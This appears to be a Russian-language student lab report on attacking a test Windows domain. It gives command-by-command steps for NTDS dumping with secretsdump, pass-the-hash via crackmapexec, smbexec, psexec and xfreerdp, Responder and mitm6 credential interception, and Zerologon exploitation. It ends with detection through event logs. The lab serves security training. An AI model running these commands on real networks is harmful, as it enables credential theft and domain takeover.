---
# System prepended metadata

title: Гришанов Матвей Сергеевич -- Windows Basic Практическая работа 6. Базовые атаки и компрометация доменной Windows-инфраструктуры

---

# Гришанов Матвей Сергеевич -- Windows Basic Практическая работа 6. Базовые атаки и компрометация доменной Windows-инфраструктуры

[toc]

## Практическая работа 6.1 Базовые атаки на Windows-инфраструктуру
### Анализ базы NTDS -- Бэкап NTDS

1.1 Воспользуемся базовыми средствами **Windows** для работы с **NTDS**. Заходим от имени администратора в командную строку и вводим команды.

:::info
:information_source: Список используемых команд:

`ntdsutil` -- запуск утилиты NTDS.

`activate instance ntds` -- подключаемся к активной Active Directory.

`ifm` -- активируем процесс Install From Media.

`create full C:\temp` -- создаём копию NTDS.
:::

Данные команды активируют процесс **Install From Media**, позволяющий сделать копию нашего **NTDS** с необходимыми ветками реестра.

![](https://i.imgur.com/TPvD0SL.png)

:::success
:star: Дамп-файлы успешно созданы!
:::

1.2 В директорию C:\temp были помещены дамп-файлы.

![](https://i.imgur.com/OGc3ztb.png)

![](https://i.imgur.com/nzBkcsa.png)

---

### Анализ базы NTDS -- Перенос NTDS

1.3 Воспользуемся базовыми средствами Kali Linux. Используем SMB, чтобы зайти на сервер Windows с Kali-Linux.

:::info
:information_source: Используемая команда:

`smbclient  '\\192.168.10.200\C$' -U PT/Administrator` 

**192.168.10.200** -- ip адрес контроллера домена.

**PT** -- имя домена.

**Administrator** -- имя пользователя домена с правами администратора.
:::

1.4 После чего копируем файлы на **Kali-Linux**.

:::info
:information_source: Список используемых команд:

`recurse ON` -- включает доступ к подкаталогам для операций с несколькими файлами (**mput** и **mget**).

`prompt OFF` -- выключение подсказки для операций с несколькими файлами (**mput** и **mget**).

`lcd /home/kali` -- переход в указанный каталог на локальной системе (**/home/kali** -- домашняя папка пользователя **Kali-Linux**).

`mget temp` -- получение всех файлов на удаленном сервере, удовлетворяющих указанной маске файла.
:::

![](https://i.imgur.com/jEfbb5G.png)

---

### Анализ базы NTDS -- Анализ NTDS

1.5 Для анализа дампа для начала нужно скачать impacket. Находясь в домашней директории пользователя, выполним набор команд.

:::info
:information_source: Список используемых команд:

`git clone https://github.com/SecureAuthCorp/impacket` -- скачивание **impacket** с **github**.

`apt install python3-pip` -- устанавливаем **pip** для **python3**.

`cd impacket` -- переходим в каталог **impacket**.

`pip install .` -- устанавливаем impacketс с помощью pip.
:::

:::warning
:warning: У Kali-linux должен быть выход в интернет.

:warning: У четвертой команды в конце должна быть точка - это часть команды.
:::

![](https://i.imgur.com/As6Qvtw.png)

---

1.6 После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду.

:::info
:information_source: Используемая команда:

`python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL` 

**secretsdump.py** -- исполняемый скрипт.

**ntds.dit** -- анализируемый инстанс базы данных **NTDS**.

**registry/SYSTEM** -- иветка реестра, с помощью которой мы можем прочитать **NTDS**.

**LOCAL** -- флаг для скрипта, который говорит, что мы анализируем NTDS локально.
:::

![](https://i.imgur.com/F0d422m.png)

:::warning
:warning: Будьте внимательны -- формат информации в этом выводе описан в строчке **"dumping domain credentian"**.
:::

:::info
:information_source: Анализирование **NTDS** производится  целью разобраться в структуре базы аутентификационых данных для объектов домена.
:::

---

### Path-the-hash -- Crackmapexec

Выполнение атаки PtH с помощью Crackmapexec.

Crackmapexec -- это набо python-скриптов для тестирования **Windows** окружения. Использует ==Windows API==, поэтому ==обнаружить довольно сложно==.

1.7 Базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb.

:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.0/24`
:::

![](https://i.imgur.com/jNAtglW.png)

---

1.8 Выполнение поиска команды от имени пользователя на удаленной машине посредством командной строки.

:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami`

:information_source: Hash - это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).
:::

![](https://i.imgur.com/7TSaQdq.png)

---

1.9 Просмотр списка сетевых папок, доступных конкретному пользователю.

:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares`
:::

![](https://i.imgur.com/TeVucY4.png)

---

1.10 В **impacket** есть утилита **smbexec**, позволяющая запустить **cmd windows** для удаленной передачи команд, при этом практически не оставляя следов.

:::info
:information_source: Используемая команда:

`python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128` 

**PT** -- имя домена.

**Administrator** -- имя пользователя домена с правами администратора.

**192.168.10.200** -- ip адрес компьютера-жертвы.

hashes -- специальный флаг для использования хэша.
:::

![](https://i.imgur.com/blTo0kt.png)

:::info
:information_source: Существует аналог -- psexec
:::

---

:::info
:information_source: Используемая команда:

`python3 psexec.py domain/username:password@hostIP` 
:::

![](https://i.imgur.com/mU4TTYg.png)

---

:::info
:information_source: Используемая команда:

`python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH` 
:::

![](https://i.imgur.com/qj7raof.png)

---

### Path-the-hash -- XFreeRDP

1.11 Используя хеш, можно зайти даже по RDP.

:::info
:information_source: Используемая команда:

`xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH` 
:::

1.12 Но сначала нужно включить удалённый доступ по RDP на dc1.

![](https://i.imgur.com/glRZykn.png)

![](https://i.imgur.com/Gs68jAn.png)

---

1.13 Пробуем зайти на dc1, а после подтверждаем сертификат.

![](https://i.imgur.com/ueDkLE1.png)

---

1.14 Политика **Restricted Admin** не позволяется нам его использовать :arrow_right: изменяем параметр реестра на **dc1**. 

:::info
:information_source: Используемая команда:

`New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force` 
:::

![](https://i.imgur.com/ScVOaHr.png)

---

1.15 В политике аудита PoSH можно увидеть выполнение этой команды.

![](https://i.imgur.com/oLADZ9r.png)

---

:::success
:star: Xfreerdp успешно запустил нас на сервер!
:::

![](https://i.imgur.com/xsnzAAI.png)

---

### Атаки на базовые протоколы Windows -- NBT-NS & LLMNR & mDNS

:::info
:information_source: Важной частью эксплуатации будет **WPAD** -- специальный протокол для настройки проксирования в системе **Windows**.

:information_source: **NBT-NS (NetBIOS Name Service)** -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.

:information_source: **LLMNR (Link-Local Multicast Name Resolution)** -- протокол для поиска и преобразования базовых имен внутри небольшой сети.

:information_source: **mDNS (Multicast DNS)** -- суть такая же, как и у **LLMNR**. **DNS** через Мультикаст.
Все вместе технологии реализуют **Zeroconf**.

:information_source: Основная уязвимость в этих протоколах -- отсутствие подтверждения информации.
:::

### Атаки на базовые протоколы Windows -- Анализ инфраструктуры через responder

1.16 Для того, чтобы изучить флаги и возможности responder -- необходимо воспользоваться мануалом. 

:::info
:information_source: Используемая команда: `responder -h` 
:::

---

1.17 Запускаем responder.

:::info
:information_source: Используемая команда: `responder -I eth0 -A` 
:::

![](https://i.imgur.com/04g6twe.png)

---

1.18 Доменный ПК пытается обратиться к несуществующему сетевому адресу.

![](https://i.imgur.com/vNhr0qC.png)

---

1.19 Анализатор видит **LLNMR**, **NBNS** запросы.

![](https://i.imgur.com/Ot0MLEv.png)

---

1.20 Режим атаки:

:::info
:information_source: Используемая команда:  responder -I eth0 -wFv
 
:information_source: -I eth0 -- выбор интерфейса.

:information_source: w -- отравление **WPAD**.

:information_source: F -- попытка принудить систему использовать старые протоколы аутентификации, если возможно.

:information_source: v -- вывод подробной информации (в т.ч. перехваченного хэша).
:::

1.21 Запускается **responder**.

![](https://i.imgur.com/gEC7uAx.png)

---

1.22 Пользователь проходит по несуществующему пути.

![](https://i.imgur.com/gDhPcjM.png)

---

1.23 **Responder** притворяется этим ресурсом, поэтому видим окно аутентификации -- перехватывает аутентификационный токен

![](https://i.imgur.com/9EqbHBS.png)

:::info
:information_source: Данный токен можно подвергнуть брутфорсу.
:::

---

### Атаки на базовые протоколы Windows -- mitm6

1.24 Атака имитирует **DHCPv6** сервер и отправляет на компьютеры в сети параметры **IPv6**, которые используются в приоритете над **IPv4** при отправке компьютеров данных по сети.

1.25 Выполняем установку.

:::info
:information_source: Используемая команда: `pip install mitm6` 
:::

![](https://i.imgur.com/8o0l73X.png)

---

1.26 Настройки сетевого адаптера **PC1** до атаки.

![](https://i.imgur.com/Nu8PJrc.png)

---

1.27 Выполнение атаки.

:::info
:information_source: Используемая команда: `mitm6.py -d pt.local` 
:::

![](https://i.imgur.com/0sDbN1L.png)

---

1.28 Настройки сетевого адаптера **PC1** после атаки.

![](https://i.imgur.com/u675i6K.png)

---

1.30 Подмена доменного ресурса -- создание своего сервера SMB. Не отключая mitm6, создаём SMB сервер.

:::info
:information_source: Используемая команда: `python3 smbserver.py -smb2support SMB /root/SMB` 
:::

![](https://i.imgur.com/oYRRcot.png)

---

1.31 Подмена прошла успешно -- аутентификационные данные были получены (Такие данные можно вскрывать с помощью **hashcat** или **John the ripper**. Это не чистый хэш пароля, а аутентификация по протоколу **NTLMv2**).

![](https://i.imgur.com/D92Woyl.png)

---

## Практическая работа 6.2 Компрометация доменной Windows-инфраструктуры

2.1 Первым делом активируем политику аудита машинных учётных записей и применим её к контроллерам домена.

:::info
:information_source: Путь до политики: Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant
:::

![](https://i.imgur.com/m8qJzvA.png)

---

### Эксплуатация уязвимостей контроллера домена 

2.2 Проводим поиск по уязвимости **zerologon** на **github**.

![](https://i.imgur.com/PWxVEUO.png)

---

2.3 Скачиваем один из них и переходим в **README**.

:::info
:information_source: Используемые команды: 

`git clone https://github.com/risksense/zerologon` 

`
cat README.md
`
:::

![](https://i.imgur.com/dgIogyV.png)

![](https://i.imgur.com/yWrRAPZ.png)

---

2.4 Используем консткукцию для вызова эксплойта.

:::info
:information_source: Используемая команда: `python3 set_empty_pw.py DC1 192.168.10.200` 
:::

![](https://i.imgur.com/QcfsBbc.png)

---

2.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить **NTDS** с помощью **secretsdump**. Делаем дамп-файл.

:::info
:information_source: Используемая команда: `python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'` 
:::

![](https://i.imgur.com/D95gT1Q.png)

---

2.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя.

:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami` 
:::

![](https://i.imgur.com/sOLGxmD.png)

---

### Поиск следов эксплуатации уязвимостей

2.7 Проверим журнал **System**, увидим ошибку **Netlogon**.

![](https://i.imgur.com/V3BSDSh.png)

---

2.8 Проверим **Security**, увидим событие **4742**.

![](https://i.imgur.com/sqntYEg.png)

---

2.9 Внимательно проанализируем событие.

![](https://i.imgur.com/KZ5h2pa.png)

:::warning
:warning: **ANONYMOUS LOGON** - подозрительный **Security ID**.

:warning: Заполненное поле password **Last Set** -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только **NETWORK SERVICE**. И, если это происходит, генерируется ещё одно событие с **ID 5823**.
:::

---

2.10 Найдём событие **5823** в журнале **System** с помощью фильтра.

![](https://i.imgur.com/57273n0.png)

---

2.11 Событие есть, но произошло задолго до атаки.

![](https://i.imgur.com/WOp7A6P.png)

---

2.12 Найдём события **4742**, которые являются легитимными событиями, связанными с введением в домен **dc2**.

![](https://i.imgur.com/nzCsXRA.png)

---

2.13 Если происходит дамп **NTDS**, то можно увидеть данные выгрузки в журнале **Direcrory** **Service**.

![](https://i.imgur.com/ErSAoSh.png)

---